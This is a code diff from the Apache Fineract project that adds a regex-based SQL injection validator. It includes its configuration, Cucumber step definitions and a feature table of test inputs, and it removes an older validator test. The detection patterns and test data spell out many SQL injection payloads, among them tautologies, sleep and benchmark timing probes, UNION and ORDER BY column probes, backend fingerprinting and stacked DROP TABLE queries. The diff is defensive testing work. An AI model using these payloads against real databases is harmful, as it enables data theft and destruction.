fineract.sql-validation.patterns[0].pattern=(?i).*[\\"'`]?\\s*[and|or]+\\s*[\\"'`]?([\\d\\w])+[\\"'`]?\\s*=\\s*[\\"'`]?(\\1)[\\"'`]?\\s*.*
# detect-entry-point
fineract.sql-validation.patterns[1].name=detect-entry-point
fineract.sql-validation.patterns[1].pattern=(?i)^[\\"'`]?[\\)\\s]+
# inject-timing
fineract.sql-validation.patterns[2].name=inject-timing
fineract.sql-validation.patterns[2].pattern=(?i).*[\\"'`]?\\s*[and|\\+|&|\\|]+.*\\s*[sleep|pg_sleep|benchmark]+\\s*(\\(\\s*\\d+\\s*[,]?\\s*.*\\s*\\))+.*
# detect-backend
fineract.sql-validation.patterns[3].name=detect-backend
fineract.sql-validation.patterns[3].pattern=(?i).*\\[\\s*\\"(\\w+\\(.*\\))=(\\1)\\"\\s*,\\s*\\"\\w+\\"\\s*\\].*
# detect-column
fineract.sql-validation.patterns[4].name=detect-column
fineract.sql-validation.patterns[4].pattern=(?i).*[\\"'`]?\\s*(order\\s*by|group\\s*by|union\\s*select)+\\s+([\\d+|null]?\\s*,*\\s*)+\\s*.*
# detect-out-of-bands
fineract.sql-validation.patterns[5].name=detect-out-of-bands
fineract.sql-validation.patterns[5].pattern=(?i).*(select)+\\s+(load_file)+.*
# inject-stacked-query
fineract.sql-validation.patterns[6].name=inject-stacked-query
fineract.sql-validation.patterns[6].pattern=(?i).*[;]+\\s*(create|drop|alter|truncate|comment|select|insert|update|delete|merge|upsert|call|exec)+.*(from|into|set|table|column|database)*.*
# inject-comment
fineract.sql-validation.patterns[7].name=inject-comment
fineract.sql-validation.patterns[7].pattern=(?i).*\\s+(-|/\\*|#|\\(\\{)++.*
# main
fineract.sql-validation.profiles[0].name=main
fineract.sql-validation.profiles[0].description=Main Query Validation Profile
fineract.sql-validation.profiles[0].patternRefs[0].name=inject-blind
fineract.sql-validation.profiles[0].patternRefs[0].order=0
fineract.sql-validation.profiles[0].patternRefs[1].name=detect-entry-point
fineract.sql-validation.profiles[0].patternRefs[1].order=1
fineract.sql-validation.profiles[0].patternRefs[2].name=inject-timing
fineract.sql-validation.profiles[0].patternRefs[2].order=2
fineract.sql-validation.profiles[0].patternRefs[3].name=detect-backend
fineract.sql-validation.profiles[0].patternRefs[3].order=3
fineract.sql-validation.profiles[0].patternRefs[4].name=detect-column
fineract.sql-validation.profiles[0].patternRefs[4].order=4
fineract.sql-validation.profiles[0].patternRefs[5].name=detect-out-of-bands
fineract.sql-validation.profiles[0].patternRefs[5].order=5
fineract.sql-validation.profiles[0].patternRefs[6].name=inject-stacked-query
fineract.sql-validation.profiles[0].patternRefs[6].order=6
fineract.sql-validation.profiles[0].patternRefs[7].name=inject-comment
fineract.sql-validation.profiles[0].patternRefs[7].order=7
fineract.sql-validation.profiles[0].enabled=true
# adhoc
fineract.sql-validation.profiles[1].name=adhoc
fineract.sql-validation.profiles[1].description=Adhoc Query Validation Profile
fineract.sql-validation.profiles[1].patternRefs[0].name=inject-blind
fineract.sql-validation.profiles[1].patternRefs[0].order=0
fineract.sql-validation.profiles[1].patternRefs[1].name=detect-entry-point
fineract.sql-validation.profiles[1].patternRefs[1].order=1
fineract.sql-validation.profiles[1].patternRefs[2].name=inject-timing
fineract.sql-validation.profiles[1].patternRefs[2].order=2
fineract.sql-validation.profiles[1].patternRefs[3].name=detect-backend
fineract.sql-validation.profiles[1].patternRefs[3].order=3
fineract.sql-validation.profiles[1].patternRefs[4].name=detect-column
fineract.sql-validation.profiles[1].patternRefs[4].order=4
fineract.sql-validation.profiles[1].patternRefs[5].name=detect-out-of-bands
fineract.sql-validation.profiles[1].patternRefs[5].order=5
fineract.sql-validation.profiles[1].patternRefs[6].name=inject-stacked-query
fineract.sql-validation.profiles[1].patternRefs[6].order=6
fineract.sql-validation.profiles[1].patternRefs[7].name=inject-comment
fineract.sql-validation.profiles[1].patternRefs[7].order=7
fineract.sql-validation.profiles[1].enabled=true
# dynamic
fineract.sql-validation.profiles[2].name=column
fineract.sql-validation.profiles[2].description=Column Validation Profile
fineract.sql-validation.profiles[2].patternRefs[0].name=inject-blind
fineract.sql-validation.profiles[2].patternRefs[0].order=0
fineract.sql-validation.profiles[2].patternRefs[1].name=detect-entry-point
fineract.sql-validation.profiles[2].patternRefs[1].order=1
fineract.sql-validation.profiles[2].patternRefs[2].name=inject-timing
fineract.sql-validation.profiles[2].patternRefs[2].order=2
fineract.sql-validation.profiles[2].patternRefs[3].name=detect-backend
fineract.sql-validation.profiles[2].patternRefs[3].order=3
fineract.sql-validation.profiles[2].patternRefs[4].name=detect-out-of-bands
fineract.sql-validation.profiles[2].patternRefs[4].order=4
fineract.sql-validation.profiles[2].patternRefs[5].name=inject-stacked-query
fineract.sql-validation.profiles[2].patternRefs[5].order=5
fineract.sql-validation.profiles[2].patternRefs[6].name=inject-comment
fineract.sql-validation.profiles[2].patternRefs[6].order=6
fineract.sql-validation.profiles[2].enabled=true
# Logging pattern for the console
logging.pattern.console=${CONSOLE_LOG_PATTERN:%clr(%d{yyyy-MM-dd HH:mm:ss.SSS}){faint} %clr(${LOG_LEVEL_PATTERN:-%5p}) %clr(${PID:- }){magenta} %clr(%replace([%X{correlationId}]){'\\[\\]', ''}) %clr(---){faint} %clr([%15.15t]){faint} %clr(%-40.40logger{39}){cyan} %clr(:){faint} %m%n${LOG_EXCEPTION_CONVERSION_WORD:%wEx}}
logging.pattern.level=%5p [${spring.application.name:},%X{traceId:-},%X{spanId:-}]
@@ -38,6 +38,7 @@ import org.apache.fineract.infrastructure.core.service.migration.TenantDataSourc
import org.apache.fineract.infrastructure.core.service.migration.TenantDatabaseStateVerifier;
import org.apache.fineract.infrastructure.core.service.migration.TenantDatabaseUpgradeService;
import org.apache.fineract.infrastructure.core.service.tenant.TenantDetailsService;
import org.apache.fineract.infrastructure.dataqueries.service.GenericDataService;
import org.apache.fineract.infrastructure.jobs.ScheduledJobRunnerConfig;
import org.apache.fineract.infrastructure.jobs.service.JobRegisterService;
import org.junit.jupiter.api.extension.ExtendWith;
@@ -45,7 +46,7 @@ import org.mockito.Mockito;
import org.mockito.junit.jupiter.MockitoExtension;
import org.mockito.junit.jupiter.MockitoSettings;
import org.mockito.quality.Strictness;
import org.springframework.batch.core.configuration.ListableJobLocator;
import org.springframework.batch.core.configuration.JobRegistry;
import org.springframework.batch.core.explore.JobExplorer;
import org.springframework.batch.core.launch.JobLauncher;
import org.springframework.batch.core.launch.JobOperator;
@@ -99,18 +100,6 @@ public class TestConfiguration {
};
}
@Primary
@Bean
public JobExplorer jobExplorer() {
return mock(JobExplorer.class, RETURNS_MOCKS);
}
@Primary
@Bean
public JobLauncher jobLauncher() {
return mock(JobLauncher.class, RETURNS_MOCKS);
}
@Primary
@Bean
public HikariDataSource tenantDataSource() {
@@ -189,8 +178,20 @@ public class TestConfiguration {
@Primary
@Bean
public ListableJobLocator listableJobLocator() {
return mock(ListableJobLocator.class, RETURNS_MOCKS);
public JobExplorer jobExplorer() {
return mock(JobExplorer.class, RETURNS_MOCKS);
}
@Primary
@Bean
public JobLauncher jobLauncher() {
return mock(JobLauncher.class, RETURNS_MOCKS);
}
@Primary
@Bean
public JobRegistry jobRegistry() {
return mock(JobRegistry.class, RETURNS_MOCKS);
}
@Primary
@@ -210,4 +211,10 @@ public class TestConfiguration {
public OkHttpClient okHttpClient() {
return mock(OkHttpClient.class, RETURNS_MOCKS);
}
@Primary
@Bean
public GenericDataService genericDataService() {
return mock(GenericDataService.class, RETURNS_MOCKS);
}
}
@@ -32,31 +32,34 @@ import com.google.gson.JsonObject;
import edu.umd.cs.findbugs.annotations.SuppressFBWarnings;
import java.util.List;
import java.util.stream.Stream;
import org.apache.fineract.TestConfiguration;
import org.apache.fineract.infrastructure.core.exception.PlatformApiDataValidationException;
import org.apache.fineract.infrastructure.core.service.database.DatabaseSpecificSQLGenerator;
import org.apache.fineract.infrastructure.core.service.database.DatabaseType;
import org.apache.fineract.infrastructure.core.service.database.DatabaseTypeResolver;
import org.apache.fineract.infrastructure.dataqueries.data.ResultsetColumnHeaderData;
import org.apache.fineract.infrastructure.dataqueries.exception.DatatableNotFoundException;
import org.junit.jupiter.api.BeforeEach;
import org.junit.jupiter.api.Test;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;
import org.mockito.InjectMocks;
import org.mockito.Mock;
import org.mockito.Mockito;
import org.mockito.MockitoAnnotations;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.boot.test.context.SpringBootTest;
import org.springframework.jdbc.core.JdbcTemplate;
import org.springframework.jdbc.support.rowset.SqlRowSet;
import org.springframework.test.context.ContextConfiguration;
@SpringBootTest
@ContextConfiguration(classes = TestConfiguration.class)
@SuppressFBWarnings(value = "RV_EXCEPTION_NOT_THROWN", justification = "False positive")
public class ReadWriteNonCoreDataServiceImplTest {
@Mock
@Autowired
private JdbcTemplate jdbcTemplate;
@Mock
@Autowired
private GenericDataService genericDataService;
@Mock
@@ -65,17 +68,13 @@ public class ReadWriteNonCoreDataServiceImplTest {
@Mock
private DatabaseSpecificSQLGenerator sqlGenerator;
@InjectMocks
private ReadWriteNonCoreDataServiceImpl underTest;
@BeforeEach
public void setup() {
MockitoAnnotations.openMocks(this);
}
@Autowired
private ReadWriteNonCoreDataService underTest;
@Test
public void testSqlInjectionCaughtQueryDataTable() {
mockDatatableValidation();
when(jdbcTemplate.queryForObject(anyString(), eq(Integer.class), anyString())).thenReturn(1);
assertThrows(PlatformApiDataValidationException.class, () -> {
underTest.queryDataTable("table", "cf1", "vf1", "' or 1=1");
});
@@ -83,7 +82,8 @@ public class ReadWriteNonCoreDataServiceImplTest {
@Test
public void testSqlInjectionCaughtQueryDataTable2() {
mockDatatableValidation();
when(jdbcTemplate.queryForObject(anyString(), eq(Integer.class), anyString())).thenReturn(1);
assertThrows(PlatformApiDataValidationException.class, () -> {
underTest.queryDataTable("table", "cf1", "vf1", "1; DROP TABLE m_loan; SELECT");
});
@@ -91,8 +91,9 @@ public class ReadWriteNonCoreDataServiceImplTest {
@Test
public void testQueryDataTableSuccess() {
mockDatatableValidation();
SqlRowSet sqlRS = Mockito.mock(SqlRowSet.class);
when(jdbcTemplate.queryForObject(anyString(), eq(Integer.class), anyString())).thenReturn(1);
when(jdbcTemplate.queryForRowSet(eq("SELECT \"rc1\", \"rc2\" FROM \"table\" WHERE \"cf1\" = ?"), any(Object.class)))
.thenReturn(sqlRS);
when(sqlRS.next()).thenReturn(true).thenReturn(false);
@@ -111,6 +112,7 @@ public class ReadWriteNonCoreDataServiceImplTest {
false, dialect);
ResultsetColumnHeaderData rc2 = ResultsetColumnHeaderData.detailed("rc2", "text", 10L, false, false, emptyList(), null, false,
false, dialect);
when(genericDataService.fillResultsetColumnHeaders("table")).thenReturn(List.of(cf1, rc1, rc2));
List<JsonObject> results = underTest.queryDataTable("table", "cf1", "vf1", "rc1,rc2");
@@ -121,8 +123,9 @@ public class ReadWriteNonCoreDataServiceImplTest {
@Test
public void testQueryDataTableValidationError() {
mockDatatableValidation();
when(jdbcTemplate.queryForObject(anyString(), eq(Integer.class), anyString())).thenReturn(1);
when(genericDataService.fillResultsetColumnHeaders("table")).thenReturn(emptyList());
assertThrows(PlatformApiDataValidationException.class, () -> underTest.queryDataTable("table", "cf1", "vf1", "rc1,rc2"));
}
@@ -136,8 +139,9 @@ public class ReadWriteNonCoreDataServiceImplTest {
@ParameterizedTest
@MethodSource("provideParameters")
public void testQueryDataTableInvalidParameterError(String columnType, String errorMessage) {
mockDatatableValidation();
when(jdbcTemplate.queryForObject(anyString(), eq(Integer.class), anyString())).thenReturn(1);
when(databaseTypeResolver.databaseType()).thenReturn(DatabaseType.POSTGRESQL);
DatabaseType dialect = databaseTypeResolver.databaseType();
ResultsetColumnHeaderData cf1 = ResultsetColumnHeaderData.detailed("cf1", columnType, 10L, false, false, emptyList(), null, false,
false, dialect);
@@ -154,10 +158,6 @@ public class ReadWriteNonCoreDataServiceImplTest {
assertEquals(errorMessage, thrown.getErrors().get(0).getUserMessageGlobalisationCode());
}
private void mockDatatableValidation() {
when(jdbcTemplate.queryForObject(anyString(), eq(Integer.class), anyString())).thenReturn(1);
}
private static Stream<Arguments> provideParameters() {
return Stream.of(Arguments.of("timestamp without time zone", "validation.msg.invalid.dateFormat.format"),
Arguments.of("INTEGER", "validation.msg.invalid.integer.format"),
@@ -1,149 +0,0 @@
/**
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
package org.apache.fineract.infrastructure.security.utils;
import edu.umd.cs.findbugs.annotations.SuppressFBWarnings;
import java.util.Arrays;
import org.junit.jupiter.api.Assertions;
import org.junit.jupiter.api.Test;
@SuppressFBWarnings(value = "RV_EXCEPTION_NOT_THROWN", justification = "False positive")
public class SQLInjectionValidatorTest {
private static final String[] DDL_COMMANDS = { "create", "drop", "alter", "truncate", "comment", "sleep" };
private static final String[] DML_COMMANDS = { "select", "insert", "update", "delete", "merge", "upsert", "call" };
private static final String[] COMMENTS = { "--", "({", "/*", "#" };
@Test
public void testValidateSqlInputQuote() {
Assertions.assertThrows(SQLInjectionException.class, () -> {
SQLInjectionValidator.validateSQLInput("' or 1=1");
});
}
@Test
public void testValidateSqlInputSemicolon() {
Assertions.assertThrows(SQLInjectionException.class, () -> {
SQLInjectionValidator.validateSQLInput("; drop table foo;");
});
}
@Test
public void testValidateAdhocQueryQuote() {
Assertions.assertThrows(SQLInjectionException.class, () -> {
SQLInjectionValidator.validateAdhocQuery("' or 1=1");
});
}
@Test
public void testValidateAdhocQuerySemicolon() {
Assertions.assertThrows(SQLInjectionException.class, () -> {
SQLInjectionValidator.validateAdhocQuery("; drop table foo;");
});
}
@Test
public void testValidateDynamicQueryQuote() {
Assertions.assertThrows(SQLInjectionException.class, () -> {
SQLInjectionValidator.validateDynamicQuery("' or 1=1");
});
}
@Test
public void testValidateDynamicQuerySemicolon() {
Assertions.assertThrows(SQLInjectionException.class, () -> {
SQLInjectionValidator.validateDynamicQuery("; drop table foo;");
});
}
@Test
public void testValidateSqlLInputReservedWords() {
Arrays.asList(DDL_COMMANDS).forEach(ddl -> {
Assertions.assertThrows(SQLInjectionException.class, () -> {
SQLInjectionValidator.validateSQLInput(ddl);
});
});
Arrays.asList(DML_COMMANDS).forEach(dml -> {
Assertions.assertThrows(SQLInjectionException.class, () -> {
SQLInjectionValidator.validateSQLInput(dml);
});
});
Arrays.asList(COMMENTS).forEach(comment -> {
Assertions.assertThrows(SQLInjectionException.class, () -> {
SQLInjectionValidator.validateSQLInput(comment);
});
});
}
@Test
public void testValidateAdhocQueryReservedWords() {
Arrays.asList(DDL_COMMANDS).forEach(ddl -> {
Assertions.assertThrows(SQLInjectionException.class, () -> {
SQLInjectionValidator.validateAdhocQuery(ddl);
});
});
// left out intentionally from adhocquery validation?
// Arrays.asList(DML_COMMANDS).forEach(dml -> {
// Assertions.assertThrows(SQLInjectionException.class, () -> {
// SQLInjectionValidator.validateAdhocQuery(dml);
// });
// });
Arrays.asList(COMMENTS).forEach(comment -> {
Assertions.assertThrows(SQLInjectionException.class, () -> {
SQLInjectionValidator.validateAdhocQuery(comment);
});
});
}
@Test
public void testValidateDynamicQueryReservedWords() {
Arrays.asList(DDL_COMMANDS).forEach(ddl -> {
Assertions.assertThrows(SQLInjectionException.class, () -> {
SQLInjectionValidator.validateDynamicQuery(ddl);
});
});
Arrays.asList(DML_COMMANDS).forEach(dml -> {
Assertions.assertThrows(SQLInjectionException.class, () -> {
SQLInjectionValidator.validateDynamicQuery(dml);
});
});
Arrays.asList(COMMENTS).forEach(comment -> {
Assertions.assertThrows(SQLInjectionException.class, () -> {
SQLInjectionValidator.validateDynamicQuery(comment);
});
});
}
@Test
public void testValidateDynamicQueryColon() {
SQLInjectionValidator.validateDynamicQuery("2022-10-13 18:40:21");
}
@Test
public void testValidateDynamicQueryReservedWordsInsideValue() {
Arrays.asList(DDL_COMMANDS).forEach(ddl -> SQLInjectionValidator.validateDynamicQuery("foo" + ddl));
Arrays.asList(DML_COMMANDS).forEach(dml -> SQLInjectionValidator.validateDynamicQuery("foo" + dml));
}
}
@@ -0,0 +1,74 @@
/**
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
package org.apache.fineract.infrastructure.security.utils;
import static org.junit.jupiter.api.Assertions.assertEquals;
import io.cucumber.java8.En;
import org.apache.commons.lang3.RandomStringUtils;
import org.apache.commons.lang3.StringUtils;
import org.apache.fineract.infrastructure.security.exception.SqlValidationException;
import org.apache.fineract.infrastructure.security.service.SqlValidator;
import org.junit.jupiter.api.Assertions;
import org.junit.jupiter.api.function.Executable;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.beans.factory.annotation.Autowired;
public class SqlValidatorStepDefinitions implements En {
private static final Logger log = LoggerFactory.getLogger(SqlValidatorStepDefinitions.class);
@Autowired
private SqlValidator sqlValidator;
private Executable executable;
private String statement;
private Integer fuzzy = 0;
public SqlValidatorStepDefinitions() {
Given("/^A partial SQL statement (.*) with whitespaces fuzzy degree (\\d*)$/", (String statement, Integer fuzzy) -> {
this.statement = statement;
if (fuzzy != null) {
this.fuzzy = fuzzy;
}
});
When("Validating the partial statement", () -> {
if (fuzzy != null && fuzzy > 0) {
String whitespaces = RandomStringUtils.random(fuzzy, '\n', '\r', '\t', ' ');
statement = statement.replaceAll(" ", whitespaces);
}
executable = () -> sqlValidator.validate(statement);
});
Then("/^The validator had exception message (.*)$/", (String expectedMessage) -> {
if (StringUtils.isBlank(expectedMessage)) {
Assertions.assertDoesNotThrow(executable);
} else {
var exception = Assertions.assertThrows(SqlValidationException.class, executable);
assertEquals(expectedMessage, exception.getMessage());
// log.info("Validator message: {}", exception.getMessage());
}
});
}
}
@@ -99,6 +99,103 @@ fineract.sampling.sampledClasses=
fineract.module.investor.enabled=true
# sql validation
# inject-blind
fineract.sql-validation.patterns[0].name=inject-blind
fineract.sql-validation.patterns[0].pattern=(?i).*[\\"'`]?\\s*[and|or]+\\s*[\\"'`]?([\\d\\w])+[\\"'`]?\\s*=\\s*[\\"'`]?(\\1)[\\"'`]?\\s*.*
# detect-entry-point
fineract.sql-validation.patterns[1].name=detect-entry-point
fineract.sql-validation.patterns[1].pattern=(?i)^[\\"'`]?[\\)\\s]+
# inject-timing
fineract.sql-validation.patterns[2].name=inject-timing
fineract.sql-validation.patterns[2].pattern=(?i).*[\\"'`]?\\s*[and|\\+|&|\\|]+.*\\s*[sleep|pg_sleep|benchmark]+\\s*(\\(\\s*\\d+\\s*[,]?\\s*.*\\s*\\))+.*
# detect-backend
fineract.sql-validation.patterns[3].name=detect-backend
fineract.sql-validation.patterns[3].pattern=(?i).*\\[\\s*\\"(\\w+\\(.*\\))=(\\1)\\"\\s*,\\s*\\"\\w+\\"\\s*\\].*
# detect-column
fineract.sql-validation.patterns[4].name=detect-column
fineract.sql-validation.patterns[4].pattern=(?i).*[\\"'`]?\\s*(order\\s*by|group\\s*by|union\\s*select)+\\s+([\\d+|null]?\\s*,*\\s*)+\\s*.*
# detect-out-of-bands
fineract.sql-validation.patterns[5].name=detect-out-of-bands
fineract.sql-validation.patterns[5].pattern=(?i).*(select)+\\s+(load_file)+.*
# inject-stacked-query
fineract.sql-validation.patterns[6].name=inject-stacked-query
fineract.sql-validation.patterns[6].pattern=(?i).*[;]+\\s*(create|drop|alter|truncate|comment|select|insert|update|delete|merge|upsert|call|exec)+.*(from|into|set|table|column|database)*.*
# inject-comment
fineract.sql-validation.patterns[7].name=inject-comment
fineract.sql-validation.patterns[7].pattern=(?i).*\\s+(-|/\\*|#|\\(\\{)++.*
# main
fineract.sql-validation.profiles[0].name=main
fineract.sql-validation.profiles[0].description=Main Query Validation Profile
fineract.sql-validation.profiles[0].patternRefs[0].name=inject-blind
fineract.sql-validation.profiles[0].patternRefs[0].order=0
fineract.sql-validation.profiles[0].patternRefs[1].name=detect-entry-point
fineract.sql-validation.profiles[0].patternRefs[1].order=1
fineract.sql-validation.profiles[0].patternRefs[2].name=inject-timing
fineract.sql-validation.profiles[0].patternRefs[2].order=2
fineract.sql-validation.profiles[0].patternRefs[3].name=detect-backend
fineract.sql-validation.profiles[0].patternRefs[3].order=3
fineract.sql-validation.profiles[0].patternRefs[4].name=detect-column
fineract.sql-validation.profiles[0].patternRefs[4].order=4
fineract.sql-validation.profiles[0].patternRefs[5].name=detect-out-of-bands
fineract.sql-validation.profiles[0].patternRefs[5].order=5
fineract.sql-validation.profiles[0].patternRefs[6].name=inject-stacked-query
fineract.sql-validation.profiles[0].patternRefs[6].order=6
fineract.sql-validation.profiles[0].patternRefs[7].name=inject-comment
fineract.sql-validation.profiles[0].patternRefs[7].order=7
fineract.sql-validation.profiles[0].enabled=true
# adhoc
fineract.sql-validation.profiles[1].name=adhoc
fineract.sql-validation.profiles[1].description=Adhoc Query Validation Profile
fineract.sql-validation.profiles[1].patternRefs[0].name=inject-blind
fineract.sql-validation.profiles[1].patternRefs[0].order=0
fineract.sql-validation.profiles[1].patternRefs[1].name=detect-entry-point
fineract.sql-validation.profiles[1].patternRefs[1].order=1
fineract.sql-validation.profiles[1].patternRefs[2].name=inject-timing
fineract.sql-validation.profiles[1].patternRefs[2].order=2
fineract.sql-validation.profiles[1].patternRefs[3].name=detect-backend
fineract.sql-validation.profiles[1].patternRefs[3].order=3
fineract.sql-validation.profiles[1].patternRefs[4].name=detect-column
fineract.sql-validation.profiles[1].patternRefs[4].order=4
fineract.sql-validation.profiles[1].patternRefs[5].name=detect-out-of-bands
fineract.sql-validation.profiles[1].patternRefs[5].order=5
fineract.sql-validation.profiles[1].patternRefs[6].name=inject-stacked-query
fineract.sql-validation.profiles[1].patternRefs[6].order=6
fineract.sql-validation.profiles[1].patternRefs[7].name=inject-comment
fineract.sql-validation.profiles[1].patternRefs[7].order=7
fineract.sql-validation.profiles[1].enabled=true
# dynamic
fineract.sql-validation.profiles[2].name=dynamic
fineract.sql-validation.profiles[2].description=Dynamic Query Validation Profile
fineract.sql-validation.profiles[2].patternRefs[0].name=inject-blind
fineract.sql-validation.profiles[2].patternRefs[0].order=0
fineract.sql-validation.profiles[2].patternRefs[1].name=detect-entry-point
fineract.sql-validation.profiles[2].patternRefs[1].order=1
fineract.sql-validation.profiles[2].patternRefs[2].name=inject-timing
fineract.sql-validation.profiles[2].patternRefs[2].order=2
fineract.sql-validation.profiles[2].patternRefs[3].name=detect-backend
fineract.sql-validation.profiles[2].patternRefs[3].order=3
fineract.sql-validation.profiles[2].patternRefs[4].name=detect-column
fineract.sql-validation.profiles[2].patternRefs[4].order=4
fineract.sql-validation.profiles[2].patternRefs[5].name=detect-out-of-bands
fineract.sql-validation.profiles[2].patternRefs[5].order=5
fineract.sql-validation.profiles[2].patternRefs[6].name=inject-stacked-query
fineract.sql-validation.profiles[2].patternRefs[6].order=6
fineract.sql-validation.profiles[2].patternRefs[7].name=inject-comment
fineract.sql-validation.profiles[2].patternRefs[7].order=7
fineract.sql-validation.profiles[2].enabled=true
management.health.jms.enabled=false
# FINERACT 1296
@@ -0,0 +1,108 @@
#
# Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership. The ASF licenses this file
# to you under the Apache License, Version 2.0 (the
# "License"); you may not use this file except in compliance
# with the License. You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing,
# software distributed under the License is distributed on an
# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
# KIND, either express or implied. See the License for the
# specific language governing permissions and limitations
# under the License.
#
Feature: Security Utils SQL validator
@security
Scenario Outline: Verify that detects all configured SQL injection patterns
Given A partial SQL statement <statement> with whitespaces fuzzy degree <fuzzy>
When Validating the partial statement
Then The validator had exception message <exception>
Examples:
| statement | fuzzy | exception |
| or 'a' = 'a' | 36 | SQL validation error: invalid SQL statement (detected 'inject-blind' pattern) |
| ' or 'a' = 'a' | 12 | SQL validation error: invalid SQL statement (detected 'inject-blind' pattern) |
| or 'a' = 'a' -- | 27 | SQL validation error: invalid SQL statement (detected 'inject-blind' pattern) |
| or 'a' = 'a' /* | 17 | SQL validation error: invalid SQL statement (detected 'inject-blind' pattern) |
| abc' Or 'a' = 'a' /* | 19 | SQL validation error: invalid SQL statement (detected 'inject-blind' pattern) |
| OR 1 = 1 | 36 | SQL validation error: invalid SQL statement (detected 'inject-blind' pattern) |
| ' or 1 = 1 | 17 | SQL validation error: invalid SQL statement (detected 'inject-blind' pattern) |
| or 1 = 1 ----- | 57 | SQL validation error: invalid SQL statement (detected 'inject-blind' pattern) |
| or 1 = 1 /* | 11 | SQL validation error: invalid SQL statement (detected 'inject-blind' pattern) |
| 123 | 0 | |
| 2.59 | 0 | |
| abc123xyz | 0 | |
| true | 0 | |
| [2024, 4, 21] | 7 | |
| ["abc", "def", "ghi", "jkl", "mno"] | 7 | |
| ') | 0 | SQL validation error: invalid SQL statement (detected 'detect-entry-point' pattern) |
| ')) | 0 | SQL validation error: invalid SQL statement (detected 'detect-entry-point' pattern) |
| '))) | 0 | SQL validation error: invalid SQL statement (detected 'detect-entry-point' pattern) |
| `) | 0 | SQL validation error: invalid SQL statement (detected 'detect-entry-point' pattern) |
| `) ) | 19 | SQL validation error: invalid SQL statement (detected 'detect-entry-point' pattern) |
| `))) | 0 | SQL validation error: invalid SQL statement (detected 'detect-entry-point' pattern) |
| `) )))) ))))) ))) )) | 23 | SQL validation error: invalid SQL statement (detected 'detect-entry-point' pattern) |
| ") | 0 | SQL validation error: invalid SQL statement (detected 'detect-entry-point' pattern) |
| ")) | 0 | SQL validation error: invalid SQL statement (detected 'detect-entry-point' pattern) |
| "))) | 19 | SQL validation error: invalid SQL statement (detected 'detect-entry-point' pattern) |
| 1' + sleep(10) | 7 | SQL validation error: invalid SQL statement (detected 'inject-timing' pattern) |
| 1' and Sleep(10) | 7 | SQL validation error: invalid SQL statement (detected 'inject-timing' pattern) |
| 1' && sleep(10) | 7 | SQL validation error: invalid SQL statement (detected 'inject-timing' pattern) |
| 1' \| SLEEP(10) | 7 | SQL validation error: invalid SQL statement (detected 'inject-timing' pattern) |
| 1' \|\| sleep(10) | 7 | SQL validation error: invalid SQL statement (detected 'inject-timing' pattern) |
| 1' \|\| pg_sleep(10) | 7 | SQL validation error: invalid SQL statement (detected 'inject-timing' pattern) |
| abc' && benchmark( 400000 , sha1(1) ) | 17 | SQL validation error: invalid SQL statement (detected 'inject-timing' pattern) |
| 1' and if(1=1, sleep(15), false) | 19 | SQL validation error: invalid SQL statement (detected 'inject-timing' pattern) |
| 1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A') # | 19 | SQL validation error: invalid SQL statement (detected 'inject-timing' pattern) |
| ["conv('a',16,2)=conv('a',16,2)" ,"MYSQL"] | 39 | SQL validation error: invalid SQL statement (detected 'detect-backend' pattern) |
| ["connection_id()=connection_id()" ,"MYSQL"] | 39 | SQL validation error: invalid SQL statement (detected 'detect-backend' pattern) |
| ["crc32('MySQL')=crc32('MySQL')" ,"MYSQL"] | 39 | SQL validation error: invalid SQL statement (detected 'detect-backend' pattern) |
| ["pg_client_encoding()=pg_client_encoding()" ,"POSTGRESQL"] | 39 | SQL validation error: invalid SQL statement (detected 'detect-backend' pattern) |
| ["get_current_ts_config()=get_current_ts_config()" ,"POSTGRESQL"] | 39 | SQL validation error: invalid SQL statement (detected 'detect-backend' pattern) |
| ["quote_literal(42.5)=quote_literal(42.5)" ,"POSTGRESQL"] | 39 | SQL validation error: invalid SQL statement (detected 'inject-timing' pattern) |
| ["current_database()=current_database()" ,"POSTGRESQL"] | 39 | SQL validation error: invalid SQL statement (detected 'detect-backend' pattern) |
| 1' ORDER by 1 | 23 | SQL validation error: invalid SQL statement (detected 'detect-column' pattern) |
| 1' ORDER BY 1, 2 | 23 | SQL validation error: invalid SQL statement (detected 'detect-column' pattern) |
| 1' ORDER BY 1, 2, 3 | 23 | SQL validation error: invalid SQL statement (detected 'detect-column' pattern) |
| 1' group by 1 | 23 | SQL validation error: invalid SQL statement (detected 'detect-column' pattern) |
| abc' group by 1, 2 -- | 23 | SQL validation error: invalid SQL statement (detected 'detect-column' pattern) |
| 1' group by 1, 2, 3 /* | 23 | SQL validation error: invalid SQL statement (detected 'detect-column' pattern) |
| 1' Union Select 1 | 23 | SQL validation error: invalid SQL statement (detected 'detect-column' pattern) |
| 1' Union Select 1, 2 | 23 | SQL validation error: invalid SQL statement (detected 'detect-column' pattern) |
| 1' Union Select 1, 2, 3 | 23 | SQL validation error: invalid SQL statement (detected 'detect-column' pattern) |
